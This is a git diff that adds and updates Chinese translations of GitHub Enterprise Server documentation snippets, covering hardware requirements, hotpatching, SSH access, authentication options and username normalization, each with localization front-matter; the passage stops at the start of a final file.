b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ce032c1829e6b93f7adcd62e1b731953669ffb91 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097865" +--- +{% ifversion ghes < 3.3 %} {% data variables.product.prodname_actions %} 在 {% data variables.product.prodname_ghe_server %} 3.0 或更高版本中可用。 如果使用的是早期版本的 {% data variables.product.prodname_ghe_server %},则必须升级才能使用 {% data variables.product.prodname_actions %}。 有关升级 {% data variables.product.prodname_ghe_server %} 实例的详细信息,请参阅“[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)”。 +{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise_installation/download-package.md b/translations/zh-CN/data/reusables/enterprise_installation/download-package.md index 6dd8199681..14c61489dc 100644 --- a/translations/zh-CN/data/reusables/enterprise_installation/download-package.md +++ b/translations/zh-CN/data/reusables/enterprise_installation/download-package.md @@ -1,4 +1,12 @@ -1. Download the upgrade package to {% data variables.location.product_location %} using `curl `: +--- +ms.openlocfilehash: 0aa4c7abc78f6d80d30aeb21763b404b98d87301 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883802" +--- +1. 使用 `curl ` 将升级包下载到 {% data variables.product.product_location %}: ```shell -admin@HOSTNAME:~$ curl -L -O UPGRADE-PKG-URL +admin@HOSTNAME:~$ curl -L -O UPGRADE-PKG-URL ``` diff --git a/translations/zh-CN/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md b/translations/zh-CN/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md index 1d514c4aae..d80b50bb47 100644 --- a/translations/zh-CN/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md +++ b/translations/zh-CN/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md @@ -1,10 +1,18 @@ -- [Minimum requirements](#minimum-requirements) -- [Storage](#storage) -- [CPU and memory](#cpu-and-memory) +--- +ms.openlocfilehash: 7de065c9dec15e3b92cabf5d3fa711c7d88249ba +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882785" +--- +- [最低要求](#minimum-requirements) +- [存储](#storage) +- [CPU 和内存](#cpu-and-memory) -### Minimum requirements +### 最低要求 -We recommend different hardware configurations depending on the number of user licenses for {% data variables.location.product_location %}. If you provision more resources than the minimum requirements, your instance will perform and scale better. +建议根据 {% data variables.product.product_location %} 的用户许可数选择不同的硬件配置。 如果预配的资源超过最低要求,您的实例将表现出更好的性能和扩展。 {% data reusables.enterprise_installation.hardware-rec-table %} @@ -12,27 +20,27 @@ We recommend different hardware configurations depending on the number of user l {% data reusables.enterprise_installation.about-adjusting-resources %} -### Storage +### 存储 -We recommend a high-performance SSD with high input/output operations per second (IOPS) and low latency for {% data variables.product.prodname_ghe_server %}. Workloads are I/O intensive. If you use a bare metal hypervisor, we recommend directly attaching the disk or using a disk from a storage area network (SAN). +我们建议为 {% data variables.product.prodname_ghe_server %} 配置具有高每秒输入/输出操作数 (IOPS) 和低延迟的高性能 SSD。 工作负载是 I/O 密集型的。 如果使用裸机管理程序,建议直接连接磁盘或使用存储区域网络 (SAN) 中的磁盘。 -Your instance requires a persistent data disk separate from the root disk. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview)." +您的实例需要一个独立于根磁盘的持久数据磁盘。 有关详细信息,请参阅[系统概述](/enterprise/admin/guides/installation/system-overview)。 {% ifversion ghes %} -To configure {% data variables.product.prodname_actions %}, you must provide external blob storage. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)." +若要配置 {% data variables.product.prodname_actions %},必须提供外部 Blob 存储。 更多信息请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 使用入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)”。 {% endif %} -The available space on the root filesystem will be 50% of the total disk size. You can resize your instance's root disk by building a new instance or using an existing instance. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview#storage-architecture)" and "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity)." +根文件系统上的可用空间将占磁盘总大小的 50%。 您可以通过构建一个新实例或使用现有实例来调整实例的根磁盘大小。 有关详细信息,请参阅“[系统概述](/enterprise/admin/guides/installation/system-overview#storage-architecture)”和“[增加存储容量](/enterprise/admin/guides/installation/increasing-storage-capacity)”。 -### CPU and memory +### CPU 和内存 -The CPU and memory resources that {% data variables.product.prodname_ghe_server %} requires depend on the levels of activity for users, automations, and integrations. +{% data variables.product.prodname_ghe_server %} 需要的 CPU 和内存资源取决于用户的活动水平、自动化和集成。 {% ifversion ghes %} -If you plan to enable {% data variables.product.prodname_actions %} for the users of your {% data variables.product.prodname_ghe_server %} instance, you may need to provision additional CPU and memory resources for your instance. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)." +如果计划为 {% data variables.product.prodname_ghe_server %} 实例的用户启用 {% data variables.product.prodname_actions %},则可能需要为实例预配额外的 CPU 和内存资源。 更多信息请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 使用入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。 {% endif %} @@ -40,10 +48,10 @@ If you plan to enable {% data variables.product.prodname_actions %} for the user {% warning %} -**Warning:** We recommend that users configure webhook events to notify external systems of activity on {% data variables.product.prodname_ghe_server %}. Automated checks for changes, or _polling_, will negatively impact the performance and scalability of your instance. For more information, see "[About webhooks](/github/extending-github/about-webhooks)." +警告:建议用户配置 Web 挂钩事件来通知外部系统有关 {% data variables.product.prodname_ghe_server %} 上的活动。 自动检查更改或轮询将对实例的性能和可扩展性产生不利影响。 有关详细信息,请参阅“[关于更新](/github/extending-github/about-webhooks)”。 {% endwarning %} -For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." +有关监视 {% data variables.product.prodname_ghe_server %} 的容量和性能的详细信息,请参阅“[监视设备](/admin/enterprise-management/monitoring-your-appliance)”。 -You can increase your instance's CPU or memory resources. For more information, see "[Increasing CPU or memory resources](/enterprise/admin/installation/increasing-cpu-or-memory-resources)." +您可以增加实例的 CPU 或内存资源。 有关详细信息,请参阅“[增加 CPU 或内存资源](/enterprise/admin/installation/increasing-cpu-or-memory-resources)”。 diff --git a/translations/zh-CN/data/reusables/enterprise_installation/hotpatching-explanation.md b/translations/zh-CN/data/reusables/enterprise_installation/hotpatching-explanation.md index 84970a0e35..f7f782a799 100644 --- a/translations/zh-CN/data/reusables/enterprise_installation/hotpatching-explanation.md +++ b/translations/zh-CN/data/reusables/enterprise_installation/hotpatching-explanation.md @@ -1,7 +1,11 @@ -You can upgrade {% data variables.product.prodname_ghe_server %} to the latest patch release using a hotpatch. +--- +ms.openlocfilehash: 1789d143016bf39450798f8b3e1b97840f004332 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876145" +--- +您可以使用热更新将 {% data variables.product.prodname_ghe_server %} 升级为最新的补丁版本,它不需要维护时间窗,通常不需要重启。 -You can use hotpatching to upgrade to a newer patch release, but not a feature release. For example, you can upgrade from `2.10.1` to `2.10.5` because they are in the same feature series, but not from `2.10.9` to `2.11.0` because they are in a different feature series. - -Hotpatches do not generally require a reboot. If a hotpatch does require a reboot, the {% data variables.product.product_name %} release notes will indicate the requirement. - -Hotpatches require a configuration run, which can cause a brief period of errors or unresponsiveness for some or all services on {% data variables.location.product_location %}. You are not required to enable maintenance mode during installation of a hotpatch, but doing so will guarantee that users see a maintenance page instead of errors or timeouts. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)." +您可以使用热更新来升级到更新的补丁版本,但不能升级到功能版本。 例如,你可从 `2.10.1` 升级到 `2.10.5`,因为它们位于同一功能系列中,但不能从 `2.10.9` 升级到 `2.11.0`,因为它们位于不同的功能系列中。 diff --git a/translations/zh-CN/data/reusables/enterprise_installation/ssh-into-instance.md b/translations/zh-CN/data/reusables/enterprise_installation/ssh-into-instance.md index 86f7f9ac05..424bd4e6a5 100644 --- a/translations/zh-CN/data/reusables/enterprise_installation/ssh-into-instance.md +++ b/translations/zh-CN/data/reusables/enterprise_installation/ssh-into-instance.md @@ -1,5 +1,13 @@ -1. SSH into {% data variables.location.product_location %}. If your instance comprises multiple nodes, for example if high availability or geo-replication are configured, SSH into the primary node. If you use a cluster, you can SSH into any node. For more information about SSH access, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +--- +ms.openlocfilehash: 56d00170560f72e7e4fad39972422cf301b377be +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876171" +--- +1. SSH 连接到 {% data variables.product.product_location %}。 如果实例包含多个节点,例如,如果配置了高可用性或异地复制,则通过 SSH 连接到主节点。 如果使用群集,则可以通过 SSH 连接到任何节点。 有关 SSH 访问的详细信息,请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”。 ```shell - $ ssh -p 122 admin@HOSTNAME + $ ssh -p 122 admin@HOSTNAME ``` diff --git a/translations/zh-CN/data/reusables/enterprise_installation/upgrade-hardware-requirements.md b/translations/zh-CN/data/reusables/enterprise_installation/upgrade-hardware-requirements.md new file mode 100644 index 0000000000..59fdcde8dd --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise_installation/upgrade-hardware-requirements.md @@ -0,0 +1,33 @@ +--- +ms.openlocfilehash: faf2e19d40e921c1a3d1b6cff91aaf3e4dd2b97b +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145097752" +--- +{% ifversion ghes < 3.2 %} + +### 关于 {% data variables.product.prodname_ghe_server %} 3.0 及更高版本的最低要求 + +升级到 {% data variables.product.prodname_ghe_server %} 3.0 或更高版本之前,请检查您为实例预配的硬件资源。 {% data variables.product.prodname_ghe_server %} 3.0 引入了 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_registry %} 等新功能,比 2.22 和更早版本需要更多的资源。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_server %} 3.0 发行说明](/enterprise-server@3.0/admin/release-notes)。 + +{% data variables.product.prodname_ghe_server %} 3.0 及更高版本的增加要求在下表中以 **粗体** 表示。 + +| 用户许可证 | vCPU | 内存 | 附加存储 | 根存储 | +| :- | -: | -: | -: | -: | +| 试用版、演示版或 10 个轻度用户 | **4**
_从 2 起_ | **32 GB**
_从 16 GB 起_ | **150 GB**
_从 100 GB 起_ | 200 GB | +| 10-3000 | **8**
_从 4 起_ | **48 GB**
_从 32 GB 起_ | **300 GB**
_从 250 GB 起_ | 200 GB | +| 3000-5000 | **12**
_从 8 起_ | 64 GB | 500 GB | 200 GB | +| 5000-8000 | **16**
_从 12 起_ | 96 GB | 750 GB | 200 GB | +| 8000-10000+ | **20**
_从 16 起_ | **160 GB**
_从 128 GB 起_ | 1000 GB | 200 GB | + +{% ifversion ghes %} + +有关 {% data variables.product.prodname_actions %} 的硬件要求的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。 + +{% endif %} + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise_management_console/username_normalization_sample.md b/translations/zh-CN/data/reusables/enterprise_management_console/username_normalization_sample.md new file mode 100644 index 0000000000..eff36fd5c5 --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise_management_console/username_normalization_sample.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 5f81e75a6968f2a63114b23674561e82f6a0bae6 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508174" +--- +此表格举例说明 {% data variables.product.prodname_ghe_server %} 中如何标准化用户名: + +| 用户名 | 标准化的用户名 | 结果 +|----------|---------------------|------- +| Ms.Bubbles | `ms-bubbles` | 此用户名已成功创建。 +| !Ms.Bubbles | `-ms-bubbles` | 此用户名无法创建,因其以短划线开头。 +| Ms.Bubbles! | `ms-bubbles-` | 此用户名无法创建,因其以短划线结尾。 +| Ms!!Bubbles | `ms--bubbles` | 此用户名无法创建,因其包含两个连续的短划线。 +| Ms!Bubbles | `ms-bubbles` | 此用户名无法创建。 虽然标准化的用户名有效,但它已经存在。 +| Ms.Bubbles@example.com | `ms-bubbles` | 此用户名无法创建。 虽然标准化的用户名有效,但它已经存在。 diff --git a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/3-7-new-subdomains.md b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/3-7-new-subdomains.md new file mode 100644 index 0000000000..547ce3fd42 --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/3-7-new-subdomains.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: 6f389970efe1285e45a27f7e55a9b34672ed53e4 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193256" +--- +{% ifversion ghes = 3.5 or ghes = 3.6 or ghes = 3.7 or ghes = 3.8 %} + +{% note %} + +{%- ifversion ghes = 3.5 or ghes = 3.6 %} + +注意:{% data variables.product.product_name %} 3.7 及更高版本中已弃用 `http(s)://render.HOSTNAME` 子域。 升级到 3.7 或更高版本后,请确保 TLS 证书涵盖替换服务的子域,`http(s)://notebook.HOSTNAME` 和 `http(s)://viewscreen.HOSTNAME`。 + +{%- elsif ghes = 3.7 or ghes = 3.8 %} + +注意:`http(s)://notebook.HOSTNAME` 或 `http(s)://viewscreen.HOSTNAME` 子域是 {% data variables.product.product_name %} 3.7 及更高版本中的新增内容,可替换 `http(s)://render.HOSTNAME`。 升级到 3.7 或更高版本后,TLS 证书必须涵盖替换服务的子域,`http(s)://notebook.HOSTNAME` 和 `http(s)://viewscreen.HOSTNAME`。 + +{%- endif %} + +{% endnote %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md index 4ab76aace6..667ae25e4d 100644 --- a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md +++ b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md @@ -1 +1,9 @@ -The dormancy threshold is the length of time a user must be inactive to be considered dormant. The default dormancy threshold is 90 days, however you can customize the dormancy threshold for {% data variables.location.product_location %}. +--- +ms.openlocfilehash: ac036166292f405220029fb6290b1e0a1a278ecb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145097693" +--- +休眠阈值是指用户必须多久不活动才被视为休眠。 默认休眠阈值是 90 天,但可以自定义 {% data variables.product.product_location %} 的休眠阈值。 diff --git a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/sign-in.md b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/sign-in.md index 404565e28e..6d58a7d273 100644 --- a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/sign-in.md +++ b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/sign-in.md @@ -1 +1,9 @@ -1. Sign in to {% data variables.location.product_location %} at `http(s)://HOSTNAME/login`. +--- +ms.openlocfilehash: 0370abebda6c2219a6ef19851958c45d7e4f595f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097674" +--- +1. 在 `http(s)://HOSTNAME/login` 上登录 {% data variables.product.product_location %}。 diff --git a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/tls-downtime.md b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/tls-downtime.md index 06f181e152..aff2378918 100644 --- a/translations/zh-CN/data/reusables/enterprise_site_admin_settings/tls-downtime.md +++ b/translations/zh-CN/data/reusables/enterprise_site_admin_settings/tls-downtime.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 63560a19f1dc683ba1f02c35f0487aec236217a6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885754" +--- {% warning %} -**Warning:** Configuring TLS causes a small amount of downtime for {% data variables.location.product_location %}. +**警告:** 配置 TLS 会导致 {% data variables.product.product_location %} 出现短暂停机。 {% endwarning %} diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md b/translations/zh-CN/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md index a8ccf8f70b..64dc2db166 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md @@ -1 +1,9 @@ -Alternatively, you can configure external authentication for {% data variables.location.product_location %}. If you use external authentication, you must invite people to use your instance through your authentication provider. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)." +--- +ms.openlocfilehash: 6b4a4fbf8ba73127abab49f8fefc25e1a2d3fbca +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145065780" +--- +也可为 {% data variables.product.product_location %} 配置外部身份验证。 如果使用外部身份验证,则必须邀请用户通过身份验证提供程序使用实例。 有关详细信息,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)”。 diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md b/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md index d1c1d86a0d..791bac4670 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md @@ -1 +1,9 @@ -When you use built-in authentication for {% data variables.location.product_location %}, each person creates a personal account from an invitation or by signing up. +--- +ms.openlocfilehash: 0e38b9097fcac8c9c60b2b2056000e50f96a0c25 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883591" +--- +当你对 {% data variables.product.product_location %} 使用内置身份验证时,每个人都会从邀请中或通过注册来创建个人帐户。 diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication.md b/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication.md index 49151a385f..3fdb355bd2 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication.md @@ -1 +1,9 @@ -If you want to allow authentication for some people who don't have an account on your external authentication provider, you can allow fallback authentication to local accounts on {% data variables.location.product_location %}. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." +--- +ms.openlocfilehash: d50bb457fe9b5d4daee819a2597f573692aeaa12 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097666" +--- +如果想要允许对某些在你的外部验证提供程序上无帐户的人员进行身份验证,则可以允许对 {% data variables.product.product_location %} 上的本地帐户进行回退身份验证。 有关详细信息,请参阅“[允许对提供程序外部的用户进行内置身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)”。 diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md b/translations/zh-CN/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md index c52e1e5433..b0b6058e83 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md @@ -1 +1,9 @@ -{% data variables.product.product_name %} normalizes a value from your {% ifversion ghec or ghae %}IdP{% elsif ghes %}external authentication provider{% endif %} to determine the username for each new personal account {% ifversion ghae %}on {% data variables.product.product_name %}{% elsif ghec %}in your enterprise on {% data variables.location.product_location %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. +--- +ms.openlocfilehash: 68778a5aac47ae812ce7fca5219ce8f7e416b1af +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145065777" +--- +{% data variables.product.product_name %} 规范化 {% ifversion ghec or ghae %}IdP{% elsif ghes %}外部身份验证提供程序{% endif %} 中的值,以确定 {% ifversion ghae %}{% data variables.product.product_name %} 上{% elsif ghec %}企业中 {% data variables.product.product_location %} 上{% elsif ghes %} {% data variables.product.product_location %} 上{% endif %} 每个新个人帐户的用户名。 diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md b/translations/zh-CN/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md index 7e914e8766..bd3b8727a2 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md @@ -1,9 +1,17 @@ +--- +ms.openlocfilehash: b757e88a4ac3718fff996837dd8e00714f0cd7ad +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883583" +--- {% warning %} -**Warnings:** +警告: -- The Git protocol is unauthenticated and unencrypted. An attacker could intercept repository data transferred over connections using this protocol. -- If you enable anonymous Git read access, you're responsible for all access and use of the feature. {% data variables.product.company_short %} is not responsible for any unintended access, security risks, or misuse of the feature. -- You may not use this feature to violate your license from {% data variables.product.company_short %}, including the limit on the number of user licenses for {% data variables.location.product_location %}. +- Git 协议未经身份验证且未加密。 攻击者可以拦截使用此协议通过连接传输的存储库数据。 +- 如果启用匿名 Git 读取访问,你将对此功能的所有访问和使用负责。 {% data variables.product.company_short %} 对功能的任何非预期访问、安全风险或误用概不负责。 +- 使用此功能不得违反 {% data variables.product.company_short %} 的许可,包括对 {% data variables.product.product_location %} 用户许可数的限制。 {% endwarning %} diff --git a/translations/zh-CN/data/reusables/enterprise_user_management/external_auth_disables_2fa.md b/translations/zh-CN/data/reusables/enterprise_user_management/external_auth_disables_2fa.md index f136d23cf1..eb7740ca24 100644 --- a/translations/zh-CN/data/reusables/enterprise_user_management/external_auth_disables_2fa.md +++ b/translations/zh-CN/data/reusables/enterprise_user_management/external_auth_disables_2fa.md @@ -1,9 +1,9 @@ --- -ms.openlocfilehash: 8892790c359353b634712895ee217b84965db88c -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 8a1a48f6f0394be842a772c0c05735a33bf75919 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: "146332046" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193223" --- -使用 SAML 或 CAS 时,双重身份验证在 {% data variables.product.prodname_ghe_server %} 设备上不受支持或无法管理,但受外部身份验证提供商的支持。 在组织上无法实施双重身份验证。 有关对组织强制实施双因素身份验证的详细信息,请参阅“[在你的组织中要求进行双因素身份验证](/enterprise/user/articles/requiring-two-factor-authentication-in-your-organization/)”。 +使用 SAML 或 CAS 时,双重身份验证在 {% data variables.product.prodname_ghe_server %} 实例上不受支持或无法管理,但受外部身份验证提供商的支持。 在组织上无法实施双重身份验证。 有关对组织强制实施双因素身份验证的详细信息,请参阅“[在你的组织中要求进行双因素身份验证](/enterprise/user/articles/requiring-two-factor-authentication-in-your-organization/)”。 diff --git a/translations/zh-CN/data/reusables/files/choose-commit-email.md b/translations/zh-CN/data/reusables/files/choose-commit-email.md index e8e07c32bf..d89b89a3b1 100644 --- a/translations/zh-CN/data/reusables/files/choose-commit-email.md +++ b/translations/zh-CN/data/reusables/files/choose-commit-email.md @@ -1,4 +1,11 @@ +--- +ms.openlocfilehash: e786a92aa48e8c2cb737f766aa20050c2fd94851 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097653" +--- {% ifversion fpt or ghec %} -1. If you have more than one email address associated with your account on {% data variables.location.product_location %}, click the email address drop-down menu and select the email address to use as the Git author email address. Only verified email addresses appear in this drop-down menu. If you enabled email address privacy, then `@users.noreply.github.com` is the default commit author email address. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." -![Choose commit email addresses](/assets/images/help/repository/choose-commit-email-address.png) -{% endif %} +1. 如果在 {% data variables.product.product_location %} 上有多个电子邮件地址与你的帐户关联,请单击电子邮件地址下拉菜单,然后选择要用作 Git 作者电子邮件地址的电子邮件地址。 只有经过验证的电子邮件地址才会出现在此下拉菜单中。 如果启用了电子邮件地址隐私,则 `@users.noreply.github.com` 是默认提交作者的电子邮件地址。 有关详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address)”。 +![选择提交电子邮件地址](/assets/images/help/repository/choose-commit-email-address.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/gated-features/advanced-security.md b/translations/zh-CN/data/reusables/gated-features/advanced-security.md new file mode 100644 index 0000000000..90e4acf6e3 --- /dev/null +++ b/translations/zh-CN/data/reusables/gated-features/advanced-security.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 757e294548d2ab8202c11326ee95566b36f34d6c +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097616" +--- +{% data variables.product.prodname_GH_advanced_security %} 是一组安全功能,旨在使企业代码更安全。 它适用于 {% data variables.product.prodname_ghe_server %} 3.0 或更高版本、{% data variables.product.prodname_ghe_cloud %} 和开源存储库。 要详细了解 {% data variables.product.prodname_GH_advanced_security %} 中包含的功能,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)”。 diff --git a/translations/zh-CN/data/reusables/gated-features/codespaces-classroom-articles.md b/translations/zh-CN/data/reusables/gated-features/codespaces-classroom-articles.md index 3f865ae87e..07d735f62f 100644 --- a/translations/zh-CN/data/reusables/gated-features/codespaces-classroom-articles.md +++ b/translations/zh-CN/data/reusables/gated-features/codespaces-classroom-articles.md @@ -1 +1,9 @@ -{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. To find out if you qualify for a free upgrade to {% data variables.product.prodname_team %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." +--- +ms.openlocfilehash: 0974b251651926ea038d1ffa7daf40baba240adc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147573738" +--- +对于使用 {% data variables.product.prodname_team %} 的组织,Codespaces 可与 {% data variables.product.prodname_classroom %} 一起使用。 要了解是否有资格免费升级到 {% data variables.product.prodname_team %},请参阅“[以教师身份申请加入 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)”。 diff --git a/translations/zh-CN/data/reusables/gated-features/codespaces.md b/translations/zh-CN/data/reusables/gated-features/codespaces.md new file mode 100644 index 0000000000..5a5380f84f --- /dev/null +++ b/translations/zh-CN/data/reusables/gated-features/codespaces.md @@ -0,0 +1,9 @@ +--- 